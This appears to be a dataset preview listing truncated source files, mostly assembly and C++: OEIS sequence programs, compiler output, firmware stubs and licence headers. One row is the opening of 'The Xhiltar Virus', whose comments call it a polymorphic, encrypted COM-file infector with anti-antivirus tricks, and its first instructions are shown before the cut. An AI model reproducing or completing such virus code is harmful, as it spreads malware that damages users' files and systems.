text
stringlengths
1
1.05M
/* ******************************************************************************* * * Purpose: Print interface declaration. * Usually used to print logs. * ******************************************************************************* * Copyright Oleg Kovalenko 2017. * * Distributed under the MIT License....
.text .file "h264ref.vlc.symbol2uvlc.ll" .globl symbol2uvlc .align 16 .type symbol2uvlc,@function symbol2uvlc: // @symbol2uvlc // BB#0: { r0 = #-1 r2 = #1 r1 = r0 } { r3 = memw(r1 + #12) } { r3 += lsr(r3, #31) } { r3 = asr(r3, #1) r4 = memw(r1 + #16) } { ...
.MODEL SMALL .STACK 100H .DATA ;VARIABLES WILL BE DECLARED HERE .CODE MAIN PROC MOV AH, 2 MOV DL, '#' INT 21H MOV AH,4CH INT 21H MAIN ENDP ;OTHER PROCEDURES (IF ANY) END MAIN
; A081597: Let n = 10*x + y where 0 <= y <= 9, x >= 0. Then a(n) = 6*x + y. ; 0,1,2,3,4,5,6,7,8,9,6,7,8,9,10,11,12,13,14,15,12,13,14,15,16,17,18,19,20,21,18,19,20,21,22,23,24,25,26,27,24,25,26,27,28,29,30,31,32,33,30,31,32,33,34,35,36,37,38,39,36,37,38,39,40,41,42,43,44,45,42,43,44,45,46,47,48,49,50,51,48,49,50,51,52,5...
; A341663: a(n) is the number of divisors of prime(n)^3 - 1. ; 2,4,6,12,16,18,10,16,16,24,24,48,16,24,16,24,8,72,72,16,32,72,16,16,36,18,24,32,60,40,32,16,64,48,48,72,36,96,8,12,16,96,96,84,36,32,192,24,16,72,32,32,60,32,36,48,48,40,144,64,48,12,64,32,72,24 seq $0,153481 ; a(n) = prime(n)^3 - 2. seq $0,72670 ; Number ...
; A019445: Form a permutation of the positive integers, p_1, p_2, ..., such that the average of each initial segment is an integer, using the greedy algorithm to define p_n; sequence gives p_1+..+p_n. ; 1,4,6,12,20,24,35,40,54,70,77,96,117,126,150,160,187,216,228,260,273,308,345,360,400,442,459,504,522,570,620,640,693,...
; lzo1y_s2.asm -- lzo1y_decompress_asm_safe ; ; This file is part of the LZO real-time data compression library. ; ; Copyright (C) 2008 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2007 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2006 Markus Franz Xaver Johannes Oberhumer ; Copyright (C) 2005 M...
aLine 0 gNew delPtr gMoveNext delPtr, Root aLine 1 gBne delPtr, null, 3 aLine 2 Exception EMPTY_LIST aLine 4 nMoveRel delPtr, delPtr, 0, -164.545 gNewVPtr delNext gMoveNext delNext, delPtr pSetNext Root, delNext aLine 5 gBeq delNext, null, 3 aLine 6 pSetPrev delNext, Root aLine 8 pDeleteNext delPtr pDeletePrev de...
; A195037: 17 times triangular numbers. ; 0,17,51,102,170,255,357,476,612,765,935,1122,1326,1547,1785,2040,2312,2601,2907,3230,3570,3927,4301,4692,5100,5525,5967,6426,6902,7395,7905,8432,8976,9537,10115,10710,11322,11951,12597,13260,13940,14637,15351,16082,16830 sub $1,$0 bin $1,2 mul $1,17 mov $0,$1
// Copyright (c) 2011-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2018 The PIVX developers // Copyright (c) 2018 The Healcap Core developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/...
segment .text align 4 pi: push ebp mov ebp, esp sub esp, 4 push dword 314 push dword [esp] lea eax, [ebp+-4] push eax pop ecx pop eax mov [ecx], eax add esp, 4 lea eax, [ebp+-4] push eax pop eax push dword [eax] pop eax leave ret align 4 global _main:function _main: align 4 xpl: push ebp mov ebp, es...
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.1.6 #12419 (Linux) ;-------------------------------------------------------- ; Processed by Z88DK ;-------------------------------------------------------- EXTERN __divschar EXTERN __divsc...
<% from pwnlib.shellcraft.i386.linux import syscall %> <%page args="name"/> <%docstring> Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information. Arguments: name(char): name </%docstring> ${syscall('SYS_mq_unlink', name)}
; A163523: a(n) = tau(n) + omega(n). ; 1,3,3,4,3,6,3,5,4,6,3,8,3,6,6,6,3,8,3,8,6,6,3,10,4,6,5,8,3,11,3,7,6,6,6,11,3,6,6,10,3,11,3,8,8,6,3,12,4,8,6,8,3,10,6,10,6,6,3,15,3,6,8,8,6,11,3,8,6,11,3,14,3,6,8,8,6,11,3,12,6,6,3,15,6,6,6,10,3,15,6,8,6,6,6,14,3,8,8,11 mov $1,$0 seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)),...
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
; A021290: Decimal expansion of 1/286. ; 0,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3,4,9,6,5,0,3 add $0,1 mov $1,10 pow $1,$0 mul $1,6 div $1,1716 mod $1,10 mov $0,$1
.section .data .option norvc # goddess, sing of the wrath of Page-Fault Exception .section .text.proem # this is where we enter the kernel .global _start _start: # read hart id csrr t0, mhartid # jump into wait for interrupt loop if it's not 0 bnez t0, youspinmeround # zero out SATP CSR csrw s...
/* * Scoreboard interrupt handler * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the ...
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/apigateway/model/PutIntegrationRequest.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::APIGateway::Model; using namespace Aws::Utils::Json; u...
// Copyright (c) 2020 The NavCoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "aggregationsession.h" std::set<uint256> setKnownSessions; AggregationSesion::AggregationSesion(const CStateViewCache* input...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r8 push %r9 push %rdi push %rdx lea addresses_normal_ht+0x7b3, %r10 add %rdx, %rdx mov $0x6162636465666768, %r8 movq %r8, %xmm0 and $0xffffffffffffffc0, %r10 movntdq %xmm0, (%r10) nop cmp %r9, %r9 lea addresses_WC_ht+0x5791, %r13 xor $9294...
Name: zel_bms2.asm Type: file Size: 2252 Last-Modified: '2016-05-13T04:22:15Z' SHA-1: 6A9027997C4204BB7E016B8E860D0ADBE8F63423 Description: null
; A071588: Powers of 6 written backwards. ; 1,6,63,612,6921,6777,65664,639972,6169761,69677001,67166406,650797263,6332876712,61049606031,69046146387,675489481074,6547099011282,63744495662961,614866659955101,694010047953906,6792600448516563 mov $1,6 pow $1,$0 seq $1,4086 ; Read n backwards (referred to as R(n) in many ...
architecture wdc65816-strict include "../../../src/common/assert.inc" constant a = 0x2000 assertShadowRam(a) // ERROR
; Licensed to the Apache Software Foundation (ASF) under one ; or more contributor license agreements. See the NOTICE file ; distributed with this work for additional information ; regarding copyright ownership. The ASF licenses this file ; to you under the Apache License, Version 2.0 (the ; "License"); you may not u...
#include<stdio.h> #include<stdlib.h> #include<string.h> int main() { int t,k,i,j,l; scanf("%d",&t); char a[2][3],c[18][4]; int b[2],d[16]; for(i=0;i<t;i++) { int f,max,ind,index; for(j=0;j<16;j++) { d[j]=0; } scanf("%s %s %d %d",a[0],a[1],b...
; =============================================================== ; Mar 2014 ; =============================================================== ; ; int b_array_front(b_array_t *a) ; ; Return char stored at front of array. ; ; =============================================================== SECTION code_clib SECTION co...
/* * All Video Processing kernels * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the ri...
;------------------------------------------------------------------------------ ; ; Copyright (c) 2013, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Abstract: ; ; Switch the stack from temporary memory to permanent memory. ; ;------------------------------------------...
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution....
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x17d18, %r13 xor $8575, %r12 mov $0x6162636465666768, %r14 movq %r14, (%r13) nop nop nop nop and %r14, %r14 lea addresses_WT_ht+0x10f58, %rax nop nop sub %r13, %r13 ...
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x5ed1, %r10 clflush (%r10) nop nop xor %rax, %rax mov $0x6162636465666768, %rcx movq %rcx, %xmm1 movups %xmm1, (%r10) nop nop nop nop add %r14, %r14 lea addresses_normal_ht+0x...
#include "RenderPass.h" #include <cassert> namespace Lumen::Graphics { RenderPass* (*RenderPass::sCreateFunc)(const std::vector<Attachment>&, Surface*) = nullptr; RenderPass* RenderPass::Create(const std::vector<Attachment>& attachments, Surface* target) { assert(sCreateFunc && "No graphics api set!"); retur...
; A108122: G.f.: (1-2*x^2)/(1-x-2*x^2-x^3). ; 1,1,1,4,7,16,34,73,157,337,724,1555,3340,7174,15409,33097,71089,152692,327967,704440,1513066,3249913,6980485,14993377,32204260,69171499,148573396,319120654,685438945,1472253649,3162252193,6792198436,14588956471,31335605536,67305716914,144565884457,310512923821,666950409649,...
; A005386: Area of n-th triple of squares around a triangle. ; 1,3,16,75,361,1728,8281,39675,190096,910803,4363921,20908800,100180081,479991603,2299777936,11018898075,52794712441,252954664128,1211978608201,5806938376875,27822713276176,133306628004003,638710426743841,3060245505715200 add $0,1 cal $0,3501 ; a(n) = 5*a(n...
/** * Copyright 2021 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law...
; $Id: equates.asm,v 1.5 1995/04/04 14:57:34 servan Exp $ ; ; Copyright (c) RenderMorphics Ltd. 1993, 1994 ; Version 1.0beta2 ; ; All rights reserved. ; ; This file contains private, unpublished information and may not be ; copied in part or in whole without express permission of ; RenderMorphics Ltd. ; ; ...
/******************************************************************************** * * Copyright (c) 2018 ROCm Developer Tools * * MIT LICENSE: * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the So...
/* * Author: doe300 * * See the file "LICENSE" for the full license governing this code. */ #include "extensions.h" #include "Device.h" #include "Platform.h" #include "icd_loader.h" #include <CL/opencl.h> #include <cstdio> #include <cstring> using namespace vc4cl; void* VC4CL_FUNC(clGetExtensionFunctionAddress...
lc r4, 0x00000000 lc r5, 0x0000101f lc r6, 0x00000000 tlbse r6, r4 lc r8, 0x40000000 lc r9, 0x0000101f lc r10, 0x00000001 tlbse r10, r8 lc r11, 0xdeadbeef lc r12, 0x40000001 lc r13, 0x40000001 st1 r11, r13, 0 halt #@expected values #r4 = 0x00000000 #r5 = 0x0000101f #...
; ; High Resolution library for the MicroBee ; Version for the 8x11 PCG paged font (640x275) ; ; Written by Stefano Bodrato, November 2016 ; ; ; Divide by five lookup table ; useful to switch the PCG bank every 5 columns (port $1C) ; ; ; $Id: div5.asm,v 1.1 2016-11-21 11:18:38 stefano Exp $ ; SECTION rodata_clib P...
;------------------------------------------------------------------------------ ;* ;* Copyright 2006, Intel Corporation ;* All rights reserved. This program and the accompanying materials ;* are licensed and made available under the terms and conditions of the BSD License ;* which accompanies this distribu...
// Copyright (c) 2011-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2018 The PIVX developers // Copyright (c) 2018-2019 The POSQ developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit...
SECTION code_fp_math16 PUBLIC cm16_sdcc_log EXTERN cm16_sdcc_read1, logf16 cm16_sdcc_log: call cm16_sdcc_read1 jp logf16
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: VGALike video drivers FILE: vgacomUtils.asm AUTHOR: Jim DeFrisco ROUTINES: Name Description ---- ----------- PixelAddr calculate the addr...
// Copyright (c) 2019 Thomas Heller // // SPDX-License-Identifier: BSL-1.0 // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #pragma once #include <hpx/local/config.hpp> #include <hpx/coroutines/detail/coroutin...
GLOBAL cpuVendor,_rax,_rbx,_rcx,_rdx,_rbp,_rsi,_rdi,_rsp GLOBAL _r8,_r9,_r10,_r11,_r12,_r13,_r14,_r15, GLOBAL _cli,_sti,_eax,_ebx,_ecx,_edx GLOBAL _lidt,picMasterMask,picSlaveMask,_irq00handler,_irq01handler GLOBAL _int80handler,kb_read,rtc,_out,_in GLOBAL _syscall_handler,_hlt,_lhlt,_readfl,_rip,_lrax,changeContextFro...
; A084171: Binomial transform of generalized Jacobsthal numbers A084170. ; 1,3,11,37,119,373,1151,3517,10679,32293,97391,293197,881639,2649013,7955231,23882077,71678999,215102533,645438671,1936578157,5810258759,17431824853,52297571711,156896909437,470699116919,1412114127973,4236375938351,12709194923917,38127718989479,1...
; A017788: Binomial coefficients C(72,n). ; 1,72,2556,59640,1028790,13991544,156238908,1473109704,11969016345,85113005120,536211932256,3022285436352,15363284301456,70907466006720,298824321028320,1155454041309504,4116305022165108,13559593014190944,41432089765583440,117754360386395040,312049055023946856,77269289815453507...
#pragma once #include "ui_window.hpp" namespace space { class Engine; class UIPhotoAlbum : public UIWindow { public: // Fields // Constructor UIPhotoAlbum(); // Methods protected: // Methods virtual bool isOpen(Eng...
; A095190: Doubled Thue-Morse sequence: the A010060 sequence replacing 0 with 0,0 and 1 with 1,1. ; 0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1 lpb $0 ...
extern printf section .data sys_write db 1 section .text global write_message, to_upper ; make global to reference it from outside global printf_wrap global duplicate write_message: enter 8,0 ; push rbp && rbp=rsp && sub rsp, 8 mov rax, [sys_write] ; dereference syscall_write mov qword [rbp-8], rax ; l...
; A078446: a(1)=a(2)=1; a(n)=a(n-2)/2 if a(n-2) is even, a(n)=a(n-1)+a(n-2) otherwise. ; Submitted by Jon Maiga ; 1,1,2,3,1,4,5,2,7,1,8,9,4,13,2,15,1,16,17,8,25,4,29,2,31,1,32,33,16,49,8,57,4,61,2,63,1,64,65,32,97,16,113,8,121,4,125,2,127,1,128,129,64,193,32,225,16,241,8,249,4,253,2,255,1,256,257,128,385,64,449,32,481,...
data segment ;TODO data here data ends extra segment ;TODO extra here extra ends code segment assume cs : code, ds : data, es : extra main proc far start: mov ax, data mov ds, ax mov ax, extra mov es, ax ;TODO code here mov ax, 4c00h int 21h ...
; Read only data ; ds:0x1000d180 ; (dword) 00 00 00 00 00 00 f0 41 ; (double) 4294967296.0 (2^32) ; https://reverseengineering.stackexchange.com/questions/16363/ ; _const_pow2_32 ds:0x1000d188 ; (dword) 00 00 00 00 00 00 80 40 ; (double) 512.0 ...
; The Xhiltar Virus ; By Arsonic[Codebreakers] ; Type: Runtime Appending Com Infector ; Encrypted: Yes ; Polymorphic: Yes ; Time/Date: Yes ; add Attrib: Yes ; Changes Directory's: Yes (dotdot method) ; Anti-Anti-Virus: Yes (anti-heuristics) db 0e9h,0,0 start: call delta delta: pop bp sub bp,offset delta ...
/* * Copyright (c) 2015, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #include "As...
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1622, %rsi lea addresses_A_ht+0x11622, %rdi nop nop nop nop nop inc %rax mov $56, %rcx rep movsw nop nop xor %rbp, %rbp lea addresses_normal_ht+0x5816, %rdx clflush (%rd...
#include <xtd/xtd.tunit> using namespace xtd::tunit; namespace unit_tests { class class_without_insert_stream_operator { public: public: class_without_insert_stream_operator() = default; explicit class_without_insert_stream_operator(int value) : value_(value) {} int value() const noexcept {retu...
object_const_def ; object_event constants const ROUTE28STEELWINGHOUSE_CELEBRITY const ROUTE28STEELWINGHOUSE_FEAROW Route28SteelWingHouse_MapScripts: db 1 ; scene scripts scene_script .DummyScene db 0 ; callbacks .DummyScene: end Celebrity: faceplayer opentext checkevent EVENT_GOT_TM47_STEEL_WING iftrue ....
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x189c5, %r9 nop nop nop nop nop xor %rdx, %rdx movups (%r9), %xmm2 vpextrq $0, %xmm2, %rax dec %r11 lea addresses_A_ht+0x48c5, %r13 add $2973, %r10 mov (%r13), %r9d ...
//////////////////////////////////////////////////////////////////////////// // Module : script_engine.cpp // Created : 01.04.2004 // Modified : 01.04.2004 // Author : Dmitriy Iassenev // Description : XRay Script Engine //////////////////////////////////////////////////////////////////////////// #includ...
.size 8000 .text@50 jp ltimaint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: xor a, a ldff(0f), a ldff(ff), a ld a, fe ldff(05), a ldff(06), a ld a, 04 ldff(ff), a ld a, 04 ldff(07), a ei nop halt .text@1000 ltimaint: nop .text@10f3 ldff a, (05) jp lprint_a .text@7000 lprint_a: push af ...
; A simple squaring function that also calls another function to ; display the result of the squaring. square: POP r10 ; Get the one and only argument. MUL r10 r10 ; Square the input PUSH r10 ; Push the result onto the stack so that the ; output function...
; A270889: Integers n such that the circular graph C_n has a square size deficiency. ; Submitted by Jamie Morken(s1.) ; 3,6,27,150,867,5046,29403,171366,998787,5821350,33929307,197754486,1152597603,6717831126,39154389147,228208503750,1330096633347,7752371296326,45184131144603,263352415571286,1534930362283107,8946229758...
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <windows.h> #include <atlsecurity.h> #include "base/win_util.h" #include "testing/gtest/include/gtest/gtest.h" #include "sandbox/src/sa...
// Copyright (C) 2000 - 2002 Hewlett-Packard Company // // This program is free software; you can redistribute it and/or modify it // under the term of the GNU Lesser General Public License as published by the // Free Software Foundation; either version 2 of the License, or (at your // option) any later version. // // ...
/*========================================================================= Program: ParaView Module: $RCSfile$ Copyright (c) 2005-2008 Sandia Corporation, Kitware Inc. All rights reserved. ParaView is a free software; you can redistribute it and/or modify it under the terms of the ParaView lice...
_Route3Text1:: text "Whew... I better" line "take a rest..." cont "Groan..." para "That tunnel from" line "CERULEAN takes a" cont "lot out of you!" done _Route3BattleText1:: text "Hey! I met you in" line "VIRIDIAN FOREST!" done _Route3EndBattleText1:: text "You" line "beat me again!" prompt _Route3Afte...
#include "stdafx.h" #include "oepMeasureVolumeHander.h" #include "MeasureVolumeHandler.h" #include "oepHandleMapManager.h" using namespace gEarthPack; namespace gEarthPack { class MeasureVolumeCallback : public MeasureVolumeHandler::MeasureVolumeResultHandler { public: MeasureVolumeCallback() { } virtual ...
;================================================================================ ; The Legend of Zelda, A Link to the Past - Randomizer General Development & Bugfixes ;================================================================================ lorom ;==============================================================...
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; ILD_F32m ;TEST_BEGIN_RECORDING lea edi, [esp-0x4] mov DWORD [edi], 0x10001 fild DWORD [edi] mov edi, 0x0 ;TEST_END_RECORDING
; A285960: {01->1}-transform of the Thue-Morse word A010060. ; Submitted by Jon Maiga ; 1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0 mul $0,2 add $0,2 seq $0,171947...
#include "main.h" #include "EventHandler.h" #include "PythonModule.h" extern "C" EXPORT uint32_t VcmpPluginInit(PluginFuncs* pluginFunctions, PluginCallbacks* pluginCallbacks, PluginInfo* pluginInfo) { pluginInfo->pluginVersion = 0x105; pluginInfo->apiMajorVersion = PLUGIN_API_MAJOR; pluginInfo->apiMinorVersion = P...
ORG 0 MAIN ; write 0 to 0x8000 ; write 0xCAFE to 0x8000 ; must read back 0xCAFE LD BC, 0H LD (8000H), BC LD BC, 0cafeH LD (8000H), BC LD HL, (8000H) SCF CCF SBC HL, BC JP Z, YES JP NO YES LD A, 0FFH FASTLOOP OUT (0), A JP FASTLOOP NO LD A, 00H SLOWLOOP OUT ...
; A243036: Number of entries of length n in A240602. ; 2,1,2,1,2,2,4,1,2,2,4,2,4,4,8,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,2,4,4,8,4,8,8,16,4,8,8,16,8,16,16,32,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,2,4,4,8,4 mov $3,$0 mov $5,2 lpb $5 mov $0,$3 sub $5,1 add $0,$5 trn $0,1 seq $0,74330 ;...
#ifndef CTRIE_HPP_INCLUDED #define CTRIE_HPP_INCLUDED #include <atomic> #include <cassert> #include <iostream> #include <limits> #include <memory> #include <vector> #include "identity.hpp" #include "plist.hpp" #include "simple_vector.hpp" namespace kl_ctrie { template <template <class> class Alloc, class T, clas...
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld a, ff ldff(45), a ld b, 91 call lwaitly_b ld hl, fe00 ld d, 10 ld a, d ld(hl++), a ld a, 08 ld(hl++), a inc l inc l ld a, d ld(hl++), ...
; A133082: Triangle read by rows: T(k,m) = dimension of shape space for k labeled points in R^m (1 <= k <= m-1, m >= 2). ; Submitted by Jamie Morken(s4) ; 0,1,2,2,4,5,3,6,8,9,4,8,11,13,14,5,10,14,17,19,20,6,12,17,21,24,26,27,7,14,20,25,29,32,34,35,8,16,23,29,34,38,41,43,44,9,18,26,33,39,44,48,51,53,54,10,20,29,37,44,50...
; A157984: a(n) = n!/(7 * 20!). ; 3,66,1518,36432,910800,23680800,639381600,17902684800,519177859200,15575335776000,482835409056000,15450733089792000,509874191963136000,17335722526746624000,606750288436131840000,21843010383700746240000 add $0,21 seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric gr...
/*============================================================================= Library: CppMicroServices Copyright (c) German Cancer Research Center, Division of Medical and Biological Informatics Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in...
#include "../header/int/Mat4.h" #include "../header/int/Vector4.h" #include "../header/ext/Vector3.h" Mat4x4::Mat4x4(const Mat4x4& mat){ for(int i = 0; i < 4; i++){ for(int j = 0; j < 4; j++){ m[i][j] = mat.m[i][j]; } } } Mat4x4::Mat4x4(float scale){ for(int i = 0; i < 4; i++){ for(int j = 0; j < 4; j++){...
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing proje...
; ; Old School Computer Architecture - SD Card driver ; Taken from the OSCA Bootcode by Phil Ruston 2011 ; Port by Stefano Bodrato, 2012 ; ; int sd_read_sector(struct SD_INFO descriptor, long sector, unsigned char *address); ; ; sd_card_info and card_select must be accessible, ; a good place to put them is in the vars...
#ifndef CAFFE_SOFTMAX_WITH_LOSS_LAYER_HPP_ #define CAFFE_SOFTMAX_WITH_LOSS_LAYER_HPP_ #include <vector> #include "caffe/blob.hpp" #include "caffe/layer.hpp" #include "caffe/proto/caffe.pb.h" #include "caffe/layers/loss_layer.hpp" #include "caffe/layers/softmax_layer.hpp" namespace caffe { /** * @brief Computes th...
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x19495, %rsi lea addresses_normal_ht+0x19c1d, %rdi nop inc %r13 mov $23, %rcx rep movsw nop nop and %rdx, %rdx lea addresses_WC_ht+0x1599d, %r12 add $20619, %r13 mov (%r1...
;**************************************************************************************************** ; Simulador de llama. Version: 0.3 ; ; ; Simple simulador de una llama. ; Micro usado: PIC12F629 (Deberia funcionar tambien con el PIC12F675 sin modificar el HEX). ; Ver esquema electrico de conexion. ; ; Switchxxi@gm...
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1 include listing.inc INCLUDELIB MSVCRTD INCLUDELIB OLDNAMES msvcjmc SEGMENT __7B7A869E_ctype@h DB 01H __457DD326_basetsd@h DB 01H __4384A2D9_corecrt_memcpy_s@h DB 01H __4E51A221_corecrt_wstring@h DB 01H __2140C079_string@h DB 01H __1887E5...
;-------------------------------------------------------- ; File Created by SDCC : FreeWare ANSI-C Compiler ; Version 2.3.1 Wed Sep 04 21:56:16 2019 ;-------------------------------------------------------- .module islower ;-------------------------------------------------------- ; Public variables in this module ;...
.data a: 65537 .text main: load %x0, $a, %x4 ; x4 = a divi %x4, 2, %x16 ; x16 = x4/2 addi %x16, 1, %x16 ; x16 += 1 (check divisibility till x4/2) subi %x0, 0, %x31 ; x31 = 0 addi %x5, 2, %x5 ; x5 = 2 (i = 2) bgt %x4, 1, isPrime ; if x4 > 1, then goto isPrime jmp false isPrime: beq %x16, %x5, true ; if...
user/_pingpong: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <main>: #include "kernel/types.h" #include "kernel/stat.h" #include "user.h" int main(void) { 0: 7179 addi sp,sp,-48 2: f406 sd ra,40(sp) 4: f022 sd s0,32(sp) ...
; RTC & CTC demo program for MicroProfessor MPF-I(B) ; Based on Zilog Z80 Family Data Book, January 1989, p 366 ; by fjkraan@electrickery 2022-01-28 ; z80asm version (https://github.com/udo-munk/z80pack/tree/master/z80asm) ; This program assumes a CTC at port 40h and the standard MPF-I(B) hex ; display. ; M...
; ; MSX extension for "GFX - a small graphics library" by Jannone ; XLIB surface_pixeladdress XREF base_graphics INCLUDE "graphics/grafix.inc" ; ; $Id: surface_pixladdr.asm,v 1.3 2009/05/21 06:58:11 stefano Exp $ ; ; ****************************************************************** ; ; Get absolute pixel add...
; A067041: a(n) = n^(product of digits of n). ; 1,1,4,27,256,3125,46656,823543,16777216,387420489,1,11,144,2197,38416,759375,16777216,410338673,11019960576,322687697779,1,441,234256,148035889,110075314176,95367431640625 mov $1,1 mov $3,$0 lpb $0 mov $2,$0 div $0,10 mod $2,10 pow $3,$2 mov $1,$3 lpe mul $1,3 ...
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: textGState.asm AUTHOR: John Wedgwood, Oct 6, 1989 ROUTINES: Name Description ---- ----------- TextSetupGState Set up a gstate for ...
; ASM source file created by SevenuP v1.21 ; SevenuP (C) Copyright 2002-2007 by Jaime Tejedor Gomez, aka Metalbrain ;GRAPHIC DATA: ;Pixel Size: ( 24, 32) ;Char Size: ( 3, 4) ;Sort Priorities: X char, Char line, Y char ;Data Outputted: Gfx ;Interleave: Sprite ;Mask: No esqueleto_gira: ...
; A170395: Number of reduced words of length n in Coxeter group on 50 generators S_i with relations (S_i)^2 = (S_i S_j)^43 = I. ; 1,50,2450,120050,5882450,288240050,14123762450,692064360050,33911153642450,1661646528480050,81420679895522450,3989613314880600050,195491052429149402450,9579061569028320720050,469374016882387...
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0 include listing.inc INCLUDELIB LIBCMT INCLUDELIB OLDNAMES CONST SEGMENT $SG5095 DB '0', 0aH, 00H ORG $+1 $SG5097 DB '1', 0aH, 00H ORG $+1 $SG5099 DB '3', 0aH, 00H ORG $+5 $SG5102 DB 'Hello World!', 0aH, 00H CONST ENDS PUBLIC __local_s...
; A131763: Series reversion of x(1-4x)/(1-x). ; Submitted by Jon Maiga ; 1,3,21,183,1785,18651,204141,2310447,26819121,317530227,3819724293,46553474919,573608632233,7133530172619,89423593269213,1128765846337887,14334721079385441,183021615646831587,2347944226115977461,30250309354902101271,391241497991342192985 seq $0,1...
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/utility/shell_handler_impl_win.h" #include <shldisp.h> #include "base/files/file_enumerator.h" #include "base/files/file_path.h" #inclu...